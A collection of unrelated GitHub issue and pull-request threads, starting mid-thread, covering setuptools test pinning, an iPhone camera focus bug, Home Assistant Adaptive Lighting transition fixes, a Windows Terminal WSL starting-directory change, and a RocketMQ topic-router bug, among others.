 passenv=APPDATA USERPROFILE HOMEDRIVE HOMEPATH windir APPVEYOR
 commands=py.test {posargs}

This would insulate the test builds from this kind of issue happening again. Hopefully the virtualenv tests will help detecting such problems before a new release is cut.

Note that of course the tests still fails because tox will setup the environment with setuptools 36.2.0. You can check successful builds on AppVeyor and Travis when pinning setuptools to 35.0.0.

I'm not sure what the implications are of this. I'm guessing what you're saying is that we need to cut a release with these changes before the tests will start to pass. So I'm going to do that and see what happens. It means I'll need to manually cut the release, which is prone to errors, but alas, that's what we get from having a mechanical process.

Merging https://github.com/pypa/setuptools/pull/1090 will fix the builds without the need to cut a new release.


iPhone 14 Pro Focus Issue

Using iOS 16.4, camera view loads along with barcode detection. However the camera view will not focus on a barcode in order to detect it. No exceptions thrown as in latest ZXing library.

I did end up getting it to work on an iPhone 14 Pro, running iOS 16.4. It didn't really work out of the box, so I had to set the ZoomFactor to some arbitrary value and then call the ForceAutoFocus method. The bulk of this came from Gerald's youtube video on the library, except for the ZoomFactor and AutoFocus. Maybe this was in the documentation somewhere, but I didn't find it. Thanks!
<cv:CameraView ZIndex="1" x:Name="cameraView" WidthRequest="300" HeightRequest="300"
                           CamerasLoaded="CameraView_CamerasLoaded"
                           BarCodeDetectionEnabled="True"
                           BarcodeDetected="cameraView_BarcodeDetected" />

private void CameraView_CamerasLoaded(System.Object sender, System.EventArgs e)
    {
		if (cameraView.Cameras.Count > 0)
		{
			cameraView.Camera = cameraView.Cameras.First();
			MainThread.BeginInvokeOnMainThread(async () =>
			{
				await cameraView.StopCameraAsync();
				await cameraView.StartCameraAsync();
			});

            if (cameraView.MaxZoomFactor >= 3.5f)
            {
                cameraView.ZoomFactor = 3.5f;
            }
            cameraView.ForceAutoFocus();
        }
    }

void cameraView_BarcodeDetected(System.Object sender, Camera.MAUI.ZXingHelper.BarcodeEventArgs args)
    {
        MainThread.BeginInvokeOnMainThread(() =>
        {
            var barcodeFormat = args.Result[0].BarcodeFormat;
            var barcode = args.Result[0].Text;

            Console.WriteLine($"Barcode Format: {barcodeFormat} - Barcode: {barcode}");
        });
    }

Hi,
AutoFocus function is only needed it you want to force the autofocus. By default, the camera is opened with autofocus enabled. When I test it in iPhone (XS and 14) the camera autofocus when i change the image or the distance to the barcode

Odd. I could not get it to autofocus until I provided a zoom factor and called the force autofocus method. Works fine with that sequence in my use case.
Thanks for looking into it.

Hi,
In the new version (1.4.1) I have changed the start camera behavior in iOS to set Continuous Auto focus by default, you could test it.

Hello - I tested and cannot get the camera view to render at all now. I placed 2 frame layers over the camera view to indicate a center line for the camera view. The center line shows, but the camera view is black.

One user notified me of a focus issue with an iphone 14 pro max (seems that the view is always out of focus)
Haven't tries version 1.4.1 yet to see if it solves the issue.
@raconn You closed this issue, does this mean version 1.4.1 works for you ?

I created a workaround in my use case where I set zoom factor and then force autofocus which I showed in the sample code. I did work for me which is why I closed it. However, the latest version of the library does not work at all on iPhone 14. Shows a black screen where camera preview should be.
I hope that makes sense. If you need more clarification, please let me know.

Makes sense, thanks.
Have you tried version 1.4.3 which seems to solve the issue of the component not working on IOS ?
Does it work for you on iphone 14 ? Does it solve the focus issue ? I do not have an iphone 14 to test

Yep. Confirmed it works on iPhone 14 Pro using version 1.4.3 of the library.
I appreciate your help!


Fewer batches to sketch a cube

Previously, sketching a cube took 4 batches:
[MakePlane, SketchModeEnable, StartPath, MovePathPen, ExtendPathx3, ClosePath, SketchModeDisable]
[Extrude]
[ObjectBringToFront]
[Solid3DGetExtrusionFaceInfo]

This means each cube takes 4 batches at 16ms each, so, 66ms per cube.
Now, there's only 2 batches (33ms per cube):
[MakePlane, SketchModeEnable, StartPath, MovePathPen, ExtendPathx3, ClosePath, SketchModeDisable]
[Extrude, ObjectBringToFront, Solid3DGetExtrusionFaceInfo]

This can definitely be improved further, but I'm breaking into small PRs.

LGTM. I thought by now we could make it all 1 batch request.

Hmm, this PR has a bug -- my "draw three cubes" program is only showing one.

Rebase?


Detect non ha changes | wait for transitions | performance improvements

This is a rewrite designed to accomplish the following:

The interval function should not do anything besides update attributes if a transition is in progress.
Slightly rework detect_non_ha_changes to suit goal 1
_adapt_lights has been renamed to _update_manual_control_and_maybe_adapt and all manual control checks have been moved there.

This pr slightly reworked TurnOnOffListener's last_state_change dictionary as it now stores all state changes done to our lights, The old behavior where it is cleared on every new adapt is still there.
Based on #450
Things this PR fixed that are broken in the main Adaptive Lighting releases ranging from versions 1.3.0 to 1.7.0:

non HA changes done during a transition might not fire manually controlled events despite detect_non_ha_changes: true set. See #447
Long transitions are effectively impossible because multiple light.turn_on calls with the same data repeatedly shorten the overall transition with each call. See #400
interval cannot be larger than transitions without detect_non_ha_changes breaking.

Things this PR would improve:

Possibly significant performance increases, especially to those using zigbee/z-wave, as we aren't sending light commands unnecessarily.

Slow and steady wins the race. Having a local testing environment was substantial for development and cut the testing time down by 90%. Tested on my own system and works great :). @basnijholt this PR is ready for review.

@nathang21 this is ready!

I'm satisfied with this PR, everything is very efficient now. I've been forced to use an interval of 90 or else my zigbee network would go completely out of whack as the update_entity spam was just too much.
Now Adaptive Lighting will correctly wait for all transitions before doing anything, and alt_detect_method finds non ha changes without calling update_entity. The interval will now only update attributes, and check if things need to be done.

Performance graphs while using an interval of one second on 5 different lights that are on.

Here's performance graphs when using the default 90.

Would it be possible to explain why the current method doesn't work? If so, could you create a test that shows why it fails?

Would it be possible to explain why the current method doesn't work? If so, could you create a test that shows why it fails?

What current method? Are you referring to the attempt to add a test_non_ha_change?

@basnijholt Thank you for reviewing this PR! It seems you have a problem with the code involving alt_detect_method, would you like me to remove all code regarding that implementation?

Would it be possible to explain why the current method doesn't work? If so, could you create a test that shows why it fails?

All of my logs are in #447. This pr also fixed the interval > transition problems the old method was having.

Some output of detect_non_ha_changes working correctly:
2023-03-29 11:48:31.427 DEBUG (MainThread) [custom_components.adaptive_lighting.switch] last_service_data: {'entity_id': 'light.den_ceilingfan_lights', 'brightness': 3, 'color_temp_kelvin': 2702, 'context': <homeassistant.core.Context object at 0x7f6b3c0bef80>}
2023-03-29 11:48:31.428 DEBUG (MainThread) [custom_components.adaptive_lighting.switch] al_den_ceilingfan_lights: 'detect_non_ha_changes: true', calling update_entity(light.den_ceilingfan_lights) and check if it's last adapt succeeded.
2023-03-29 11:48:31.429 DEBUG (MainThread) [custom_components.adaptive_lighting.switch] Brightness of 'light.den_ceilingfan_lights' significantly changed from 3 to 255 with context.id='adapt_lgt:b'h-3=':interval:b'3j''
2023-03-29 11:48:31.429 DEBUG (MainThread) [custom_components.adaptive_lighting.switch] State of 'light.den_ceilingfan_lights' didn't change wrt 'last_service_data' (context.id=adapt_lgt:b'h-3=':interval:b'3j')
2023-03-29 11:48:31.429 DEBUG (MainThread) [custom_components.adaptive_lighting.switch] 'adaptive_lighting.manual_control' event fired for switch.adaptive_lighting_al_den_ceilingfan_lights for light light.den_ceilingfan_lights

@basnijholt I fixed test_significant_change in this pr.

todo: convert color_temp and rgb_color inside of _attributes_have_changed. Sometimes last_service_data may differ from the actual state if a light is converting color_temp to rgb_color (see #449)

Some pseudo code for kelvin->rgb_color conversions:

Set Temperature = Temperature \ 100

Calculate Red:

If Temperature <= 66 Then
	Red = 255
Else
	Red = Temperature - 60
	Red =<PHONE_NUMBER>46 * (Red ^ -0.1332047592)
	If Red < 0 Then Red = 0
	If Red > 255 Then Red = 255
End If

Calculate Green:

If Temperature <= 66 Then
	Green = Temperature
	Green = 99.4708025861 * Ln(Green) -<PHONE_NUMBER>661
	If Green < 0 Then Green = 0
	If Green > 255 Then Green = 255
Else
	Green = Temperature - 60
	Green =<PHONE_NUMBER>283 * (Green ^ -0.0755148492)
	If Green < 0 Then Green = 0
	If Green > 255 Then Green = 255
End If

Calculate Blue:

If Temperature >= 66 Then
	Blue = 255
Else

	If Temperature <= 19 Then
		Blue = 0
	Else
		Blue = Temperature - 10
		Blue =<PHONE_NUMBER>231 * Ln(Blue) -<PHONE_NUMBER>307
		If Blue < 0 Then Blue = 0
		If Blue > 255 Then Blue = 255
	End If

End If

It looks like someone already made a project for converting colors between each other:
https://github.com/colour-science/colour

I ended up just using the first entry in last_state_change[light] as I'd like to test to see if that isn't updated immediately before I do all this unnecessary parsing of last_service_data[light]

I ended up doing all the necessary color conversions to fix #449. Added that issue to test_attributes_have_changed as well. @basnijholt this is set to auto-merge once/if you approve the changes.

This could be improved by instead starting the transition timer when TurnOnOffListener gets the first state_change event from our last_service_data. This way we'd ensure that the light successfully got our light.turn_on command and has started adapting accordingly. I haven't noticed this problem on my Home Assistant setup so I have no way to test it.

@basnijholt Hey, hope you're having a good weekend 😄
Do you have a development plan for the next release?
What order are these PRs merging in?
Do you have any issues with this PR in its current form? If not what would you like changed?
I'd like to get the fix 'include_config_in_attributes for change_switch_settings' pushed into a hotfix so that users posting issues could easily use change_switch_settings to post their config.

Hi @th3w1zard1!

Do you have a development plan for the next release?
What order are these PRs merging in?
Do you have any issues with this PR in its current form? If not what would you like changed?

Every single time I look at this PR I get a bit overwhelmed because it changes 20-30% of the lines in switch.py. Since it contains 3 changes. Would it be possible to separate them out in to different PRs? Or am I now asking something horrible? 😅

Hi @th3w1zard1!

Do you have a development plan for the next release?
What order are these PRs merging in?
Do you have any issues with this PR in its current form? If not what would you like changed?

Every single time I look at this PR I get a bit overwhelmed because it changes 20-30% of the lines in switch.py. Since it contains 3 changes. Would it be possible to separate them out in to different PRs? Or am I now asking something horrible? 😅

I absolutely will do that for you, no problem at all! Thanks for the honesty, I should have done this from the start!

@basnijholt Do you mind if I create a new branch on your repo as some of these changes only can merge with this branch.


DS 2560 - Did you mean option missing in Mirage2

demonstrated as working during live demo at OR2015, ~50 peer reviewers, including 4 commiters, gave their plus one, merging


Fix security audits, whitespace

I was tired of seeing lots of vulnerability reports on this project and my own, that include this as a dependency.
So I went ahead and upgraded the dependencies that caused the audit warnings.
Some packages were completely removed istanbul, however they were superseded by a package that this repo already included nyc (which also had audit problems).
I was able to build and run tests against a POSTGRES database, however, there were some whitespacing issues that had to be resolved for a clean build.
Anyway, let me know if I missed anything or can cleanup/improve this PR.

FYI https://github.com/SweetIQ/schemats/issues/107


please support cmake install target like protobuf does

I'm building my project and dependencies with Visual Studio 2017.  With protobuf I build first with cmake and then run make install and it installs all the headers and libs in a nice consistent way so that I can easily find/link into it from vs2017.
With abseil, afaik, I have to hand copy the headers and libs to lets say c:\program files\abseil-cpp.  To make things easier/safer I move the entire directory stuctures including all the build rubbish.
We are assuming we can treat abseil like boost or protobuf...one dev builds it and then zips it up for the rest to "deploy" on their dev boxes.
I guess one caveat is we took your guidance and added it to our src repo whereas we do not do that for boost since it's too large.
I just noticed "to be nor not to be: CMake install"
Our dev network is isolated from the internet.
Thanks!

I see this should be closed in favor of #111


Add documentations to the project

Description
Add some relevant documentation for the project including a descriptive README, CONTRIBUTING and Code of Conduct.
Do check for grammatical mistakes and make a Pull Request to this repository's master branch

May I work on this issue?

You can go ahead @EmperorYP7


Please consider fixing issues detected by repository checker

Notification from ioBroker Check and Service Bot
Dear adapter developer,
I'm the ioBroker Check and Service Bot. I'm an automated tool processing routine tasks for the ioBroker infrastructure. I have recently checked the repository for your adapter starline for common errors and appropiate suggestions to keep this adapter up to date.
Please see the result of the check below.
ioBroker.starline
   -

ERRORS:

[ ] :heavy_exclamation_mark: [E150] No "common.connectionType" found in io-package.json
[ ] :heavy_exclamation_mark: [E152] No "common.dataSource" found in io-package.json

WARNINGS:

[ ] :eyes: [W109] Missing suggested translation into uk of "common.desc" in io-package.json.
[ ] :eyes: [W145] Missing suggested translation into uk of some "common.news" in io-package.json.
[ ] :eyes: [W173] Potential sensitive data "password" not listed at "protectedNative" in io-package.json
[ ] :eyes: [W174] Potential sensitive data "password" not listed at "encryptedNative" in io-package.json
[ ] :eyes: [W184] "common.materialize" is deprecated for admin >= 5 at io-package.json. Please use property "adminUI".
[ ] :eyes: [W522] Please consider migrating to admin 5 UI (jsonConfig).
[ ] :eyes: [W853] .npmignore found - consider using package.json object "files" instead.

Please review issues reported and consider fixing them as soon as appropiate.
Errors reported by repository checker should be fixed as soon as possible. Some of them require a new release to be considered as fixed. Please note that errors reported by checker might be considered as blocking point for future updates at stable repository.
Warnings reported by repository checker should be reviewed. While some warnings can be considered as a suggestion and be ignored due to good reasons or a dedicated decision of the developer, most warnings should be fixed as soon as appropiate.
Feel free to contact me (@iobroker-bot) if you have any questions or feel that an issue is incorrectly flagged.
And THANKS A LOT for maintaining this adapter from me and all users.
Let's work together for the best user experience.
your
ioBroker Check and Service Bot
@mcm1957 for evidence

This issue has been replaced by new isse #146
This issue can be closed.
your
ioBroker Check and Service Bot


Fix for issue #130

@sperling Sorry for the delay. We are going to be doing some work on this stuff tomorrow night and will bring this in then. Thanks for the patch!

@avanderhoorn - I'd like your opinion on this request.
I'm a bit worried about the performance implications. Perhaps we can fix this another way?


[BUG]  msix:create doesn't handle package_names

:information_source: Info
  msix:
    dependency: "direct dev"
    description:
      name: msix
      url: "https://pub.dartlang.org"
    source: hosted
    version: "0.0.8"

:speech_balloon: Description
Attempting to run flutter pub run msix:create on a package that has _ characters in the package name errors out.
PS C:\src\flutter-projects\foo_project> flutter pub run msix:create
getting config values..    done!
validate config values..
No certificate was specified, useing test certificate
done!
create icons folder..    done!
copy icons..    done!
create manifest file..    done!
copy VCLibs files..    done!
packing....
Microsoft (R) MakeAppx Tool
Option /v specified, switching to verbose output.
Option /o specified, existing files will be overwritten.
Using default hash method: SHA256.
The path (/p) parameter is: "\\?\C:\src\flutter-projects\foo_project\build\windows\runner\Release\foo_project.msix"
The content directory (/d) parameter is: "\\?\C:\src\flutter-projects\foo_project\build\windows\runner\Release"
Enumerating files from directory "\\?\C:\src\flutter-projects\foo_project\build\windows\runner\Release"
Packing 16 file(s) in "\\?\C:\src\flutter-projects\foo_project\build\windows\runner\Release" (content directory) to "\\?\C:\src\flutter-projects\foo_project\build\windows\runner\Release\foo_project.msix" (output file name).
Using "\\?\C:\src\flutter-projects\foo_project\build\windows\runner\Release\AppxManifest.xml" as the manifest for the package.
MakeAppx : error: Failure at appxFactory->CreateManifestReader(manifestStream, &manifestReader) - 0x80080204 - The specified package format is not valid: The package manifest is not
valid.
MakeAppx : error: Error info: /*[local-name()="Package" and namespace-uri()="http://schemas.microsoft.com/appx/manifest/foundation/windows10"]/*[local-name()="Applications" and namespace-uri()="http://schemas.microsoft.com/appx/manifest/foundation/windows10"][1]/*[local-name()="Application" and namespace-uri()="http://schemas.microsoft.com/appx/manifest/foundation/windows10"][1]/@Id
'foo_project' violates pattern constraint of '([A-Za-z][A-Za-z0-9]*)(\.[A-Za-z][A-Za-z0-9]*)*'.
The attribute 'Id' with value 'foo_project' failed to parse.
MakeAppx : error: Failure at (CreatePackage( overwrite, hashAlgorithm, fileList, outputPath, manifestStream.Get(), forceCompressionNone, performanceOptions, encryptPackage, encryptionOptions, cgmPath, mainPackagePathForResourceExemption, makepriExeFullPath)) - 0x80080204 - The specified package format is not valid: The package manifest is not valid.
MakeAppx : error: Package creation failed.
MakeAppx : error: 0x80080204 - The specified package format is not valid: The package manifest is not valid.

:scroll: Pubspec.yaml
name: foo_project
description: A new Flutter project.
publish_to: 'none' # Remove this line if you wish to publish to pub.dev
version: 1.0.0+1

environment:
  sdk: ^2.11.0-260.0.dev
  flutter: ^1.24.0-6.0.pre

dependencies:
  flutter:
    sdk: flutter
  cupertino_icons: ^1.0.0

dev_dependencies:
  flutter_test:
    sdk: flutter
  msix: ^0.0.8
  pedantic: ^1.9.2

flutter:
  uses-material-design: true

msix_config:
  display_name: FooApp
  publisher_name: FooInc
  identity_name: MyCompany.MySuite.FooApp
  msix_version: <IP_ADDRESS>
  # certificate_path: C:/<PathToCertificate>/<MyCertificate.pfx>
  # certificate_password: 1234 (require if using .pfx certificate)
  certificate_subject: CN=MyName
  # logo_path: C:\<PathToIcon>\<Logo.png>
  # start_menu_icon_path: C:\<PathToIcon>\<Icon.png>
  # tile_icon_path: C:\<PathToIcon>\<Icon.png>
  # icons_background_color: ffffff
  architecture: x64

Fixed in version 0.0.9 (available now),
thank you for report this bug.

bug close after fix and test.


Update sql-server-linux-configure-msdtc.md

We need to allow 13500 . Otherwise iptables will block the redirect request for 13500.

@krishnamsft20 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Looks good to me. Thanks, @krishnamsft20!
#sign-off


ctl delete job does not delete spawned resources from job

If a job spawns resources such as pods, calling ctl delete job  should delete the child resources just like kubectl delete job

https://github.com/wish/ctl/pull/26


Enable specification of output directory

Follow up to https://twitter.com/beconstant/status/560885880907243520
The script now imports the whole os module since os.makedirs() is being used.

[x] Is it mergable?
[x] Did it pass the tests?
[x] If it introduces new functionality in scripts/ is it tested?
Check for code coverage.
[x] Is it well formatted? Look at make pep8, make diff_pylint_report,
make cppcheck, and make doc output. Use make format and manual
fixing as needed.
[x] Did it change the command-line interface? Only additions are allowed
without a major version increment. Changing file formats also requires a
major version number increment.
[x] Is it documented in the ChangeLog?
[x] Was a spellchecker run on the source code and documentation after
changes were made?

Hi @bede, thank you for your PR!  Looks like some pep8 violations broke the build; try 'make pep8'.  'make autopep8' will fix them for you if you want to try it.
Also, could you copy/paste in the checklist from here, please?
http://khmer.readthedocs.org/en/v1.3/dev/coding-guidelines-and-review.html#checklist
In addition to a ChangeLog entry, you'll need a test or two for the new functionality.  Should be possible to copy and adapt https://github.com/ged-lab/khmer/blob/master/tests/test_scripts.py#L1471 (test_scripts.py:test_split_paired_reads* functions); you may want to create a new temp directory as per this code, https://github.com/ged-lab/khmer/blob/master/tests/khmer_tst_utils.py#L33, depending on what you're doing.  Let us know if you need any help!

Apologies for not RTFMing @ctb and thank you for the gentle introduction. It's now passing pep8, and I'll look into the tests tomorrow. Impressive build system!

On Tue, Feb 03, 2015 at 09:38:34AM -0800, Bede Constantinides wrote:

Apologies for not RTFMing @ctb and thank you for the gentle introduction. It's now passing pep8, and I'll look into the tests tomorrow. Impressive build system!

:) Excellent!

Also see: https://github.com/ged-lab/khmer/issues/732#issuecomment-71903726.

Shall I add my test as a new function called def test_split_paired_reads_3?

On Mon, Feb 09, 2015 at 02:38:23AM -0800, Bede Constantinides wrote:

Shall I add my test as a new function called def test_split_paired_reads_3?

Sure!

Merged conflicts and rebased into 575df26353c449320b865f88bbfacfd5b6c72050

Nice work - address comments & ping me again, and I should be able to merge!

I think I've addressed your comments @ctb except for using os.path.join which fails the test presumably because of the absolute paths it generates... I haven't really investigated why. – is this a sticking point?

Thx let me take a look!
--
Titus Brown<EMAIL_ADDRESS>
On Feb 9, 2015, at 10:20 AM, Bede Constantinides<EMAIL_ADDRESS>wrote:
I think I've addressed your comments @ctb except for using os.path.join which fails the test presumably because of the absolute paths it generates... I haven't really investigated why. – is this a sticking point?
—
Reply to this email directly or view it on GitHub.

Thanks, just let me know if there's anything to fix and I'll rebase again afterwards.

LGTM - let's see what Jenkins says (tests do pass for me).

ok to test

Ahah, think I've spotted my mistake

Scratch that last message. Shall I rebase?

It looks fine to me; one last request: could you add a brief description of -o and --output-dir options to the epilog? See scripts/normalize-by-median.py for how we do the formatting for this.  Then the option info will appear automagically on our docs page.
If you want to do os.path.join and/or rebase, that's fine, but not necessary IMO.

Done! I think?!

On Mon, Feb 09, 2015 at 09:22:39AM -0800, Bede Constantinides wrote:

Done! I think?!

heh, can you fix the typo in the ChangeLog? 'outut'
(@mr-c, we need a customer service survey or something... :)

I need to go home!

it's all good, assuming the tests pass :). thank you!

Thanks for your patience guys!

@ctb What sort of survey? I'm missing something.

"and how was your PR review experience today?"
Mostly a joke...

@ctb :-)
@bede, Congratulations on your first commit to the khmer project! Your name will be included in the release notes for the next version and you'll be listed amongst our other contributors in the next software release paper.

Thanks! The main thing is that I wasn't humiliated for naïvely submitting a PR that broke the build (albeit for indenting blank lines). I can see you're fairly relaxed about what you'll merge providing it meets the criteria, which is cool.

On Mon, Feb 09, 2015 at 04:06:15PM -0800, Bede Constantinides wrote:

Thanks! The main thing is that I wasn't humiliated for na??vely submitting a PR that broke the build (albeit for indenting blank lines). I can see you're fairly relaxed about what you'll merge providing it meets the criteria, which is cool.

Thanks for the feedback and please come again :)


Cast DoctrineListBuilder::count return value to an integer

When the value is provided by a Doctrine query result, it was returned as a string.
Information

Q
A

Fixed tickets
N/A

BC breaks
None

Documentation PR
N/A

@kriswillis please provide a fix for styleci (:

@wachterjohannes Fixed styleci issue, but that was not due to my changes :innocent:

@kriswillis seems it was my HOTFIX (: an thursday! the main branch seems not to be "in style" (:


can't "Create an ASP.NET Core app with Vue in Visual Studio", VS2022 Chinese version

Following the article, I'm unable to get to Debugging section in step 3 of "Set the project properties" where I should set the debugger to launch. When I try to open properties, nothing shows up.
I'm using the "Standalone JavaScript Vue Template".
This is the Chinese version:

This is the English version:

Is this a bug or discrimination?

@Lonfar -- Lonfar, thank you for your feedback and interest in this issue.  I can assure you there is no language discrimination here, but rather an unintentional product bug.  As with issues #7648 & #7418, please see the article author's reply.
I am closing this issue now.  You are welcome to @ mention me for any followup.  We hope to hear from you again.


Add Ruff

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
Ruff can't be used for Python linting.
Expected Behavior
Ruff can be used for Python linting.
Anything else?

Hi @lubo ! I'll be happy to review a PR for this. Seems reasonable to include!

Hello folks!! Thank you for the wonderful tool :D
I am also looking forward to this feature. Is anyone working on this issue? If no one is working on it yet, I would like to work on it.


Fix: ollama long response timeout

Fix for https://github.com/open-webui/open-webui/issues/3067
Changes:

Added configurable timeout to aiohttp.ClientSession call to ollama, to work around default timeout of 5 minutes being too short in some situations
Set the new default timeout to 15 minutes (900 seconds)
Described new environment variable in TROUBLESHOOTING.md under title "Error on Slow Reponses for Ollama"

This is great! Apologies for mistaking your bug report as one of the low quality ones 😅 I've just been getting thousands of emails a day and it's getting pretty hard to discern which ones are legitimate and which aren't. I'll rename the env var and merge the code. I appreciate the PR!

LGTM, Thanks!

I understand, leading an open source project can be challenging. And thanks for considering the PR! Then I don't have to maintain a separate version 😄


does a line in a script in host waits the lxc to finish a process before going to next line;

Line in script in host tells lxc to tar a directory.
The next line in the same script tells host to pull file lxc/tar.gz from the lxc.
The question is if the script is waiting for the lxc to complete the tar before pulling the file.
I now in the same environment should wait before go to the next line but what about this situation. #
lxc exec container -- tar cf dir.tar.gz /home
pull file container/dir.tar.gz

The "lxc exec" won't return until the "tar" command returns, so your example above will be fine.

Thanx so much.


Hitting inotify limit should be reported to the user

VSCode Version: 1.20.0
OS Version: Ubuntu 16.04

I've noticed that VSCode has stopped updating the list of tasks when I modify my tasks.json until I restart it.
After some head-scratching, I found this line in Developer Tools console: "[IPC Library: Watcher] Uncaught Exception:  Inotify limit reached", and indeed, one of the directories in my workspace had a large number of files (~45K) in its subtree.   Once I removed this directory and restarted VSCode, everything went back to normal.
Hitting inotify limit should be reported to the user.

Continues in https://github.com/Microsoft/vscode/issues/7950


Server migration to latest version

Hi,
Thank you for this amazing tool. I'm running a self-hosted version of atuin, and today I tried to migrate to the latest version. But facing the following issue.
Caused by:
   0: while executing migrations: error returned from database: syntax error at or near "trigger"
   1: while executing migrations: error returned from database: syntax error at or near "trigger"
   2: error returned from database: syntax error at or near "trigger"
   3: syntax error at or near "trigger"

Dupe of #1031


Custom Saplings sometimes grow wrong Trees

I have custom trees for every sapling type. But sometimes it seems to happen that any tiype of sapling (even those, which are 2x2) grow a tree that is only defined in the Sapling queue of the oak sapling.
I planted a birch sapling and an oak tree grew and another time i planted 4 darkoak saplings, one turned into an oak tree and the 3 saplings left just stayed there.
There is no mistake in the sapling queues, i checked them all.

okay, i made a mistake... the last sapling in the queues hadn't a chance of 100%


Fix typo in NodePortLocal documentation

The targetPort for the Service should be 8080 to match the NPL annotation in the example.

/skip-all


Select Image instead of upload

Hi,
I'm using the Croppie plugin to upload images, rotate and zoom them. At the same time, I need to add sample images before uploading.
For example, I have a block to upload the image and a block where the user can select the image from the sample images. But I can't select the image using Croppie.

The block where I can upload or select an image

After I uploaded, it displays like this. So I want to do the same manner for selected image.

How can I do this ?
Regards,
Gaja

can you upload your solution please?
It sound a lot like my usecase and i was wondering how to do exactly that.
greetings


When launching wsl, promote the starting directory to --cd

This commit introduces a hack to ConptyConnection for launching WSL.
When we detect that WSL is being launched (either "wsl" or "wsl.exe",
unqialified or specifically from the current OS's System32 directory),
we will promote the startingDirectory specified at launch time into a
commandline argument.
Why do we want to switch to --cd?
With the current design of ConptyConnection and WSL, there are some
significant limitations:

startingDirectory cannot be a WSL path, which forces users to
use weird tricks such as setting the starting directory to
\\wsl$\Distro\home\user.
WSL occasionally fails to launch in time to handle a \\wsl$ path,
which makes us spawn in a strange location (or no location at all).

(This fix will only address the second one until a WSL update is
released that adds support for --cd $LINUX_PATH.)
We will not do the promotion if any of the following are true:

the commandline contains --cd already
the commandline contains a bare ~

This was a commonly-used workaround that forced wsl to start in the
user's home directory. It conflicts with --cd.

wsl is not spelled properly (WSL and WSL.EXE are unacceptable)
an absolute path to wsl outside the system32 directory is provided

We chose the do this trick in the connection layer, the latest possible
point, because it captures the most use cases.
We could have done it earlier, but the options were quite limiting.
They are:

Generate WSL profiles with startingDirectory set to the home folder

We can't do this because we do not know the user's home folder
path.

Generate WSL profiles with --cd in them.

This only works for unmodified profiles.
This only works for generated profiles.
Users cannot override the commandline without breaking it.
Users cannot specify a startingDirectory (!) since the one on the
commandline wins.

Set a flag on generated WSL profiles to request this trick

This only works for generated profiles. Users who create their own
WSL profiles couldn't set startingDirectory and have it work the
same.

Patching the commandline, hacky though it may be, seemed to be the most
compatible option. Eventually, we can even support wt -d ~ wsl!
Validation Steps Performed
Manual validation for the following cases:
// MUST MANGLE
auto a01 = _tryMangleStartingDirectoryForWSL(LR"(wsl)", L"SENTINEL");
auto a02 = _tryMangleStartingDirectoryForWSL(LR"(wsl -d X)", L"SENTINEL");
auto a03 = _tryMangleStartingDirectoryForWSL(LR"(wsl -d X ~/bin/sh)", L"SENTINEL");
auto a04 = _tryMangleStartingDirectoryForWSL(LR"(wsl.exe)", L"SENTINEL");
auto a05 = _tryMangleStartingDirectoryForWSL(LR"(wsl.exe -d X)", L"SENTINEL");
auto a06 = _tryMangleStartingDirectoryForWSL(LR"(wsl.exe -d X ~/bin/sh)", L"SENTINEL");
auto a07 = _tryMangleStartingDirectoryForWSL(LR"("wsl")", L"SENTINEL");
auto a08 = _tryMangleStartingDirectoryForWSL(LR"("wsl.exe")", L"SENTINEL");
auto a09 = _tryMangleStartingDirectoryForWSL(LR"("wsl" -d X)", L"SENTINEL");
auto a10 = _tryMangleStartingDirectoryForWSL(LR"("wsl.exe" -d X)", L"SENTINEL");
auto a11 = _tryMangleStartingDirectoryForWSL(LR"("C:\Windows\system32\wsl.exe" -d X)", L"SENTINEL");
auto a12 = _tryMangleStartingDirectoryForWSL(LR"("C:\windows\system32\wsl" -d X)", L"SENTINEL");
auto a13 = _tryMangleStartingDirectoryForWSL(LR"(wsl ~/bin)", L"SENTINEL");

// MUST NOT MANGLE
auto a14 = _tryMangleStartingDirectoryForWSL(LR"("C:\wsl.exe" -d X)", L"SENTINEL");
auto a15 = _tryMangleStartingDirectoryForWSL(LR"(C:\wsl.exe)", L"SENTINEL");
auto a16 = _tryMangleStartingDirectoryForWSL(LR"(wsl --cd C:\)", L"SENTINEL");
auto a17 = _tryMangleStartingDirectoryForWSL(LR"(wsl ~)", L"SENTINEL");
auto a18 = _tryMangleStartingDirectoryForWSL(LR"(wsl ~ -d Ubuntu)", L"SENTINEL");

We don't have anywhere to put TerminalConnection unit tests :|
Closes #592.

It sounds unlikely, but what'll happen if I have a different wsl.exe somewhere else in %PATH%?

My official stance is, “it had better be compatible with wsl, because otherwise it should not be masquerading as wsl.”

@DHowett fix the type and yeet this for the bug bash this afternoon

@zadjii-msft thx for the reminder. this is building in selfhost-1.9 right now. I'll merge after the bash :)

@DHowett do we want to try this on for 1.11? maybe even behind velocity if we're nervous?

We are still normalizing these somewhere.
1:23:41.2299792 PM	WindowsTerminal.exe	77076	Process Create	C:\WINDOWS\system32\wsl.exe	SUCCESS	PID: 78492, Command line: "wsl.exe" --cd "C:/etc" -d Debian

this change makes osc 9;9 work with linux paths but breaks \\wsl$ ones
docs at https://docs.microsoft.com/windows/terminal/tutorials/new-tab-same-directory will need to be updated


[Bug] the topicRouter is not updated when delete topic in broker

Before Creating the Bug Report

[x] I found a bug, not just asking a question, which should be created in GitHub Discussions.

[X] I have searched the GitHub Issues and GitHub Discussions  of this repository and believe that this is not a duplicate.

[X] I have confirmed that this bug belongs to the current repository, not other repositories of RocketMQ.

Runtime platform environment
1
RocketMQ version
release-5.2.0
JDK Version
1.8
Describe the Bug
The topicRouter is not updated when I delete a topic in the broker
org.apache.rocketmq.tools.admin.DefaultMQAdminExtImpl#deleteTopicInBroker

Steps to Reproduce

create topic
delete topic in broker
query topic router

What Did You Expect to See?
the topicRouter shoud be updated when delete topic in broker
What Did You See Instead?
1
Additional Context
No response

How do you create and delete topics?

How do you create and delete topics? dashboard or mqadmin or sdk？ I want to try to reproduce this issue

1.create with dashboard，create topic on cluster

2.use sdk , delete topic in one broker
org.apache.rocketmq.tools.admin.DefaultMQAdminExtImpl#deleteTopicInBroker;
    DefaultMQAdminExt mqAdminExt = new DefaultMQAdminExt(new AclClientRPCHook(new SessionCredentials("ak", "sk")), 20000);
    String name = UUID.randomUUID().toString();
    mqAdminExt.setInstanceName(name);
    mqAdminExt.setNamesrvAddr(DEFAULT_NAMESRVADDR);
    mqAdminExt.start();
    System.out.println("delete before");
    System.out.println("topicRouter" + ": " + JSON.toJSONString(mqAdminExt.examineTopicRouteInfo(TOPIC), true));
